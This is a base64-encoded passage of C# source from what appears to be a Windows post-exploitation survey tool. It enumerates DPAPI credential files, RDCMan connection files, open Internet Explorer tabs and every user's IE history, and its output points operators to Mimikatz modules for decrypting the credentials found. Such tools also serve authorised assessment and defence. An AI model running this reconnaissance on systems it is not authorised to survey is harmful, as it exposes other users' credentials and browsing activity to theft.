yBTeXN0ZW0uSU8uRmlsZUluZm8oZmlsZSkuTGVuZ3RoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGZpbGVOYW1lID0gU3lzdGVtLklPLlBhdGguR2V0RmlsZU5hbWUoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3VuZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIENyZWRGaWxlICAgICA6IHswfSIsIGZpbGVOYW1lKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBqYW5raWx5IHBhcnNlIHRoZSBieXRlcyB0byBleHRyYWN0IHRoZSBjcmVkZW50aWFsIHR5cGUgYW5kIG1hc3RlciBrZXkgR1VJRAogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmVmZXJlbmNlLSBodHRwczovL2dpdGh1Yi5jb20vZ2VudGlsa2l3aS9taW1pa2F0ei9ibG9iLzNkOGJlMjJmZmY5ZjcyMjJmOTU5MGFhMDA3NjI5ZTE4MzAwY2Y2NDMvbW9kdWxlcy9rdWxsX21fZHBhcGkuaCNMMjQtTDU0CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBieXRlW10gY3JlZGVudGlhbEFycmF5ID0gRmlsZS5SZWFkQWxsQnl0ZXMoZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBieXRlW10gZ3VpZE1hc3RlcktleUFycmF5ID0gbmV3IGJ5dGVbMTZdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQXJyYXkuQ29weShjcmVkZW50aWFsQXJyYXksIDM2LCBndWlkTWFzdGVyS2V5QXJyYXksIDAsIDE2KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEd1aWQgZ3VpZE1hc3RlcktleSA9IG5ldyBHdWlkKGd1aWRNYXN0ZXJLZXlBcnJheSk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIHN0cmluZ0xlbkFycmF5ID0gbmV3IGJ5dGVbMTZdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQXJyYXkuQ29weShjcmVkZW50aWFsQXJyYXksIDU2LCBzdHJpbmdMZW5BcnJheSwgMCwgNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbnQgZGVzY0xlbiA9IEJpdENvbnZlcnRlci5Ub0ludDMyKHN0cmluZ0xlbkFycmF5LCAwKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBieXRlW10gZGVzY0J5dGVzID0gbmV3IGJ5dGVbZGVzY0xlbl07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBBcnJheS5Db3B5KGNyZWRlbnRpYWxBcnJheSwgNjAsIGRlc2NCeXRlcywgMCwgZGVzY0xlbiAtIDQpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBkZXNjID0gRW5jb2RpbmcuVW5pY29kZS5HZXRTdHJpbmcoZGVzY0J5dGVzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgRGVzY3JpcHRpb24gIDogezB9IiwgZGVzYyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIE1hc3RlcktleSAgICA6IHswfSIsIGd1aWRNYXN0ZXJLZXkuVG9TdHJpbmcoKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIEFjY2Vzc2VkICAgICA6IHswfSIsIGxhc3RBY2Nlc3NlZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIE1vZGlmaWVkICAgICA6IHswfSIsIGxhc3RNb2RpZmllZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIFNpemUgICAgICAgICA6IHswfVxyXG4iLCBzaXplKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoZm91bmQpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gVXNlIHRoZSBNaW1pa2F0eiBcImRwYXBpOjpjcmVkXCIgbW9kdWxlIHdpdGggYXBwcm9wcmlhdGUgL21hc3RlcmtleSB0byBkZWNyeXB0Iik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFJEQ01hbkZpbGVzKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIGxpc3RzIGFueSBmb3VuZCBmaWxlcyBpbiBMb2NhbFxNaWNyb3NvZnRcQ3JlZGVudGlhbHNcKgogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKElzSGlnaEludGVncml0eSgpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBDaGVja2luZyBmb3IgUkRDTWFuIFNldHRpbmdzIEZpbGVzIChBbGwgVXNlcnMpID09PVxyXG4iKTsKCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJGb2xkZXIgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXFVzZXJzXFwiLCBFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJTeXN0ZW1Ecml2ZSIpKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBkaXJzID0gRGlyZWN0b3J5LkdldERpcmVjdG9yaWVzKHVzZXJGb2xkZXIpOwogICAgICAgICAgICAgICAgICAgIGJvb2wgZm91bmQgPSBmYWxzZTsKCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGRpciBpbiBkaXJzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gcGFydHMgPSBkaXIuU3BsaXQoJ1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyTmFtZSA9IHBhcnRzW3BhcnRzLkxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIShkaXIuRW5kc1dpdGgoIlB1YmxpYyIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCIpIHx8IGRpci5FbmRzV2l0aCgiRGVmYXVsdCBVc2VyIikgfHwgZGlyLkVuZHNXaXRoKCJBbGwgVXNlcnMiKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyUkRNYW5GaWxlID0gU3RyaW5nLkZvcm1hdCgiezB9XFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxSZW1vdGUgRGVza3RvcCBDb25uZWN0aW9uIE1hbmFnZXJcXFJEQ01hbi5zZXR0aW5ncyIsIGRpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoU3lzdGVtLklPLkZpbGUuRXhpc3RzKHVzZXJSRE1hbkZpbGUpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhtbERvY3VtZW50IHhtbERvYyA9IG5ldyBYbWxEb2N1bWVudCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhtbERvYy5Mb2FkKHVzZXJSRE1hbkZpbGUpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBncmFiIHRoZSByZWNlbnQgUkRHIGZpbGVzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWG1sTm9kZUxpc3QgZmlsZXNUb09wZW4gPSB4bWxEb2MuR2V0RWxlbWVudHNCeVRhZ05hbWUoIkZpbGVzVG9PcGVuIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWG1sTm9kZUxpc3QgaXRlbXMgPSBmaWxlc1RvT3BlblswXS5DaGlsZE5vZGVzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhtbE5vZGUgbm9kZSA9IGl0ZW1zWzBdOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0QWNjZXNzZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0QWNjZXNzVGltZSh1c2VyUkRNYW5GaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBsYXN0TW9kaWZpZWQgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKHVzZXJSRE1hbkZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgUkRDTWFuRmlsZSAgIDogezB9IiwgdXNlclJETWFuRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBBY2Nlc3NlZCAgICAgOiB7MH0iLCBsYXN0QWNjZXNzZWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgTW9kaWZpZWQgICAgIDogezB9IiwgbGFzdE1vZGlmaWVkKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoWG1sTm9kZSByZGdGaWxlIGluIGl0ZW1zKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm91bmQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgLlJERyBGaWxlICA6IHswfSIsIHJkZ0ZpbGUuSW5uZXJUZXh0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgaWYgKGZvdW5kKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIFVzZSB0aGUgTWltaWthdHogXCJkcGFwaTo6cmRnXCIgbW9kdWxlIHdpdGggYXBwcm9wcmlhdGUgL21hc3RlcmtleSB0byBkZWNyeXB0IGFueSAucmRnIGZpbGVzIik7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBZb3UgY2FuIGV4dHJhY3QgbWFueSBEUEFQSSBtYXN0ZXJrZXlzIGZyb20gbWVtb3J5IHdpdGggdGhlIE1pbWlrYXR6IFwic2VrdXJsc2E6OmRwYXBpXCIgbW9kdWxlIik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBDaGVja2luZyBmb3IgUkRDTWFuIFNldHRpbmdzIEZpbGVzIChDdXJyZW50IFVzZXIpID09PVxyXG4iKTsKICAgICAgICAgICAgICAgICAgICBib29sIGZvdW5kID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJOYW1lID0gRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUk5BTUUiKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlclJETWFuRmlsZSA9IFN0cmluZy5Gb3JtYXQoInswfVxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcUmVtb3RlIERlc2t0b3AgQ29ubmVjdGlvbiBNYW5hZ2VyXFxSRENNYW4uc2V0dGluZ3MiLCBTeXN0ZW0uRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiVVNFUlBST0ZJTEUiKSk7CgogICAgICAgICAgICAgICAgICAgIGlmIChTeXN0ZW0uSU8uRmlsZS5FeGlzdHModXNlclJETWFuRmlsZSkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBYbWxEb2N1bWVudCB4bWxEb2MgPSBuZXcgWG1sRG9jdW1lbnQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgeG1sRG9jLkxvYWQodXNlclJETWFuRmlsZSk7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBncmFiIHRoZSByZWNlbnQgUkRHIGZpbGVzCiAgICAgICAgICAgICAgICAgICAgICAgIFhtbE5vZGVMaXN0IGZpbGVzVG9PcGVuID0geG1sRG9jLkdldEVsZW1lbnRzQnlUYWdOYW1lKCJGaWxlc1RvT3BlbiIpOwogICAgICAgICAgICAgICAgICAgICAgICBYbWxOb2RlTGlzdCBpdGVtcyA9IGZpbGVzVG9PcGVuWzBdLkNoaWxkTm9kZXM7CiAgICAgICAgICAgICAgICAgICAgICAgIFhtbE5vZGUgbm9kZSA9IGl0ZW1zWzBdOwoKICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbGFzdEFjY2Vzc2VkID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUodXNlclJETWFuRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGxhc3RNb2RpZmllZCA9IFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUodXNlclJETWFuRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgUkRDTWFuRmlsZSAgIDogezB9IiwgdXNlclJETWFuRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgQWNjZXNzZWQgICAgIDogezB9IiwgbGFzdEFjY2Vzc2VkKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBNb2RpZmllZCAgICAgOiB7MH0iLCBsYXN0TW9kaWZpZWQpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoWG1sTm9kZSByZGdGaWxlIGluIGl0ZW1zKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3VuZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgLlJERyBGaWxlICA6IHswfSIsIHJkZ0ZpbGUuSW5uZXJUZXh0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoZm91bmQpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbKl0gVXNlIHRoZSBNaW1pa2F0eiBcImRwYXBpOjpyZGdcIiBtb2R1bGUgd2l0aCBhcHByb3ByaWF0ZSAvbWFzdGVya2V5IHRvIGRlY3J5cHQgYW55IC5yZGcgZmlsZXMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgWypdIFlvdSBjYW4gZXh0cmFjdCBtYW55IERQQVBJIG1hc3RlcmtleXMgZnJvbSBtZW1vcnkgd2l0aCB0aGUgTWltaWthdHogXCJzZWt1cmxzYTo6ZHBhcGlcIiBtb2R1bGUiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0SUVUYWJzKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIExpc3RzIGN1cnJlbnRseSBvcGVuIEludGVybmV0IEV4cGxvcmVyIHRhYnMsIHZpYSBDT00KICAgICAgICAgICAgLy8gTm90ZXM6CiAgICAgICAgICAgIC8vICBodHRwczovL3NlYXJjaGNvZGUuY29tL2NvZGVzZWFyY2gvdmlldy85ODU5OTU0LwogICAgICAgICAgICAvLyAgaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20veWl6aGFuZzgyL2ExMjY4ZDNlYTcyOTVhOGExNDk2ZTAxZDYwYWRhODE2CgogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gSW50ZXJuZXQgRXhwbG9yZXIgT3BlbiBUYWJzID09PVxyXG4iKTsKCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAvLyBTaGVsbC5BcHBsaWNhdGlvbiBDT00gR1VJRAogICAgICAgICAgICAgICAgVHlwZSBzaGVsbCA9IFR5cGUuR2V0VHlwZUZyb21DTFNJRChuZXcgR3VpZCgiMTM3MDk2MjAtQzI3OS0xMUNFLUE0OUUtNDQ0NTUzNTQwMDAwIikpOwoKICAgICAgICAgICAgICAgIC8vIGFjdHVhbGx5IGluc3RhbnRpYXRlIHRoZSBTaGVsbC5BcHBsaWNhdGlvbiBDT00gb2JqZWN0CiAgICAgICAgICAgICAgICBPYmplY3Qgc2hlbGxPYmogPSBBY3RpdmF0b3IuQ3JlYXRlSW5zdGFuY2Uoc2hlbGwpOwoKICAgICAgICAgICAgICAgIC8vIGdyYWIgYWxsIHRoZSBjdXJyZW50IHdpbmRvd3MKICAgICAgICAgICAgICAgIE9iamVjdCB3aW5kb3dzID0gc2hlbGxPYmouR2V0VHlwZSgpLkludm9rZU1lbWJlcigiV2luZG93cyIsIEJpbmRpbmdGbGFncy5JbnZva2VNZXRob2QsIG51bGwsIHNoZWxsT2JqLCBudWxsKTsKCiAgICAgICAgICAgICAgICAvLyBncmFiIHRoZSBvcGVuIHRhYiBjb3VudAogICAgICAgICAgICAgICAgT2JqZWN0IG9wZW5UYWJzID0gd2luZG93cy5HZXRUeXBlKCkuSW52b2tlTWVtYmVyKCJDb3VudCIsIEJpbmRpbmdGbGFncy5HZXRQcm9wZXJ0eSwgbnVsbCwgd2luZG93cywgbnVsbCk7CiAgICAgICAgICAgICAgICBpbnQgb3BlblRhYnNDb3VudCA9IEludDMyLlBhcnNlKG9wZW5UYWJzLlRvU3RyaW5nKCkpOwoKICAgICAgICAgICAgICAgIGZvciAoaW50IGkgPSAwOyBpIDwgb3BlblRhYnNDb3VudDsgaSsrKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIC8vIGdyYWIgdGhlIGFjdXRhbCB0YWIKICAgICAgICAgICAgICAgICAgICBPYmplY3QgaXRlbSA9IHdpbmRvd3MuR2V0VHlwZSgpLkludm9rZU1lbWJlcigiSXRlbSIsIEJpbmRpbmdGbGFncy5JbnZva2VNZXRob2QsIG51bGwsIHdpbmRvd3MsIG5ldyBvYmplY3RbXSB7IGkgfSk7CiAgICAgICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAvLyBleHRyYWN0IHRoZSB0YWIgcHJvcGVydGllcwogICAgICAgICAgICAgICAgICAgICAgICBPYmplY3QgbG9jYXRpb25OYW1lID0gaXRlbS5HZXRUeXBlKCkuSW52b2tlTWVtYmVyKCJMb2NhdGlvbk5hbWUiLCBCaW5kaW5nRmxhZ3MuR2V0UHJvcGVydHksIG51bGwsIGl0ZW0sIG51bGwpOwogICAgICAgICAgICAgICAgICAgICAgICBPYmplY3QgbG9jYXRpb25VUkwgPSBpdGVtLkdldFR5cGUoKS5JbnZva2VNZW1iZXIoIkxvY2F0aW9uVXJsIiwgQmluZGluZ0ZsYWdzLkdldFByb3BlcnR5LCBudWxsLCBpdGVtLCBudWxsKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIGVuc3VyZSB3ZSBoYXZlIGEgc2l0ZSBhZGRyZXNzCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChSZWdleC5Jc01hdGNoKGxvY2F0aW9uVVJMLlRvU3RyaW5nKCksIEAiKF5odHRwcz86Ly8uKyl8KF5mdHA6Ly8pIikpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIExvY2F0aW9uIE5hbWUgOiB7MH0iLCBsb2NhdGlvbk5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9jYXRpb24gVVJMICA6IHswfVxyXG4iLCBsb2NhdGlvblVSTCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5SZWxlYXNlQ29tT2JqZWN0KGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBpdGVtID0gbnVsbDsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2F0Y2gKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgTWFyc2hhbC5SZWxlYXNlQ29tT2JqZWN0KHdpbmRvd3MpOwogICAgICAgICAgICAgICAgd2luZG93cyA9IG51bGw7CiAgICAgICAgICAgICAgICBNYXJzaGFsLlJlbGVhc2VDb21PYmplY3Qoc2hlbGxPYmopOwogICAgICAgICAgICAgICAgc2hlbGxPYmogPSBudWxsOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgyKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleDIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBUcmlhZ2VJRSgpCiAgICAgICAgewogICAgICAgICAgICAvLyBsaXN0cyBJbnRlcm50IGV4cGxvcmVyIGhpc3RvcnkgKGxhc3QgNyBkYXlzIGJ5IGRlZmF1bHQpIGFuZCBmYXZvcml0ZXMKCiAgICAgICAgICAgIGludCBsYXN0RGF5cyA9IDc7CgogICAgICAgICAgICBpZiAoIUZpbHRlclJlc3VsdHMuZmlsdGVyKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBsYXN0RGF5cyA9IDkwOwogICAgICAgICAgICB9CgogICAgICAgICAgICBEYXRlVGltZSBzdGFydFRpbWUgPSBTeXN0ZW0uRGF0ZVRpbWUuTm93LkFkZERheXMoLWxhc3REYXlzKTsKCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoSXNIaWdoSW50ZWdyaXR5KCkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEludGVybmV0IEV4cGxvcmVyIChBbGwgVXNlcnMpIExhc3QgezB9IERheXMgPT09IiwgbGFzdERheXMpOwoKICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBTSURzID0gUmVnaXN0cnkuVXNlcnMuR2V0U3ViS2V5TmFtZXMoKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgU0lEIGluIFNJRHMpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoU0lELlN0YXJ0c1dpdGgoIlMtMS01IikgJiYgIVNJRC5FbmRzV2l0aCgiX0NsYXNzZXMiKSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4gc2V0dGluZ3MgPSBHZXRSZWdWYWx1ZXMoIkhLVSIsIFN0cmluZy5Gb3JtYXQoInswfVxcU09GVFdBUkVcXE1pY3Jvc29mdFxcSW50ZXJuZXQgRXhwbG9yZXJcXFR5cGVkVVJMcyIsIFNJRCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChzZXR0aW5ncyAhPSBudWxsKSAmJiAoc2V0dGluZ3MuQ291bnQgPiAxKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcbiAgSGlzdG9yeSAoezB9KToiLCBTSUQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKEtleVZhbHVlUGFpcjxzdHJpbmcsIG9iamVjdD4ga3ZwIGluIHNldHRpbmdzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIHRpbWVCeXRlcyA9IEdldFJlZ1ZhbHVlQnl0ZXMoIkhLVSIsIFN0cmluZy5Gb3JtYXQoInswfVxcU09GVFdBUkVcXE1pY3Jvc29mdFxcSW50ZXJuZXQgRXhwbG9yZXJcXFR5cGVkVVJMc1RpbWUiLCBTSUQpLCBrdnAuS2V5LlRvU3RyaW5nKCkuVHJpbSgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHRpbWVCeXRlcyAhPSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb25nIHRpbWVMb25nID0gKGxvbmcpKEJpdENvbnZlcnRlci5Ub0ludDY0KHRpbWVCeXRlcywgMCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgdXJsVGltZSA9IERhdGVUaW1lLkZyb21GaWxlVGltZSh0aW1lTG9uZyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAodXJsVGltZSA+IHN0YXJ0VGltZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgIHswLC0yM30gOiAgezF9IiwgdXJsVGltZSwga3ZwLlZhbHVlLlRvU3RyaW5nKCkuVHJpbSgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJGb2xkZXIgPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXFVzZXJzXFwiLCBFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJTeXN0ZW1Ecml2ZSIpKTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBkaXJzID0gRGlyZWN0b3J5LkdldERpcmVjdG9yaWVzKHVzZXJGb2xkZXIpOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKHN0cmluZyBkaXIgaW4gZGlycykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIHBhcnRzID0gZGlyLlNwbGl0KCdcXCcpOwogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlck5hbWUgPSBwYXJ0c1twYXJ0cy5MZW5ndGggLSAxXTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEoZGlyLkVuZHNXaXRoKCJQdWJsaWMiKSB8fCBkaXIuRW5kc1dpdGgoIkRlZmF1bHQiKSB8fCBkaXIuRW5kc1dpdGgoIkRlZmF1bHQgVXNlciIpIHx8IGRpci5FbmRzV2l0aCgiQWxsIFVzZXJzIikpKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXNlcklFQm9va21hcmtQYXRoID0gU3RyaW5nLkZvcm1hdCgiezB9XFxGYXZvcml0ZXNcXCIsIGRpcik7CgogICAgICAgICAgICAgI